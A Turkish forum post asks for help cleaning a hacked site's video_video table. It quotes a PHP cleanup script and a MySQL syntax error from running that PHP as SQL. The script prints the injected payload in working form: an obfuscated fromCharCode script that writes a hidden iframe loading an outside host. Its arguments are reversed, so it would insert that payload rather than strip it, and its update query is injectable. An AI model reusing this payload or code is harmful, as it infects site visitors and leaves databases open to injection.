Bi arkadaşın sitesine virüs bulaşmış video_video tablosunun içinde code kısmında embed kodları bulunuyor. topluca yazıyı silmek istiyorum. alttaki kodu çalıştırınca hata alıyorum.
$result = mysql_query("select id, code from video_video");
while(list($id, $yazi) = mysql_fetch_row($result)){
$yazi = str_replace("değişti", "<img src=\"javascript:document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,114,111,102,119,101,98,46,99,111,46,122,97,47,106,115,47,100,110,110,46,112,104,112,32,104,101,105,103,104,116,61,34,48,34,32,119,105,100,116,104,61,34,48,34,62,60,47,105,102,114,97,109,101,62));\" >", $yazi);
mysql_query("update video_video set code='$yazi' where id='$id'");
}
kodu çalıştırınca gelen hata;
$result = mysql_query(
"select id, code from video_video"
);
MySQL çıktısı: Belgeler
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '$result = mysql_query("select id, code from video_video")' at line 1Nerde yanlış yapıyorum acaba ?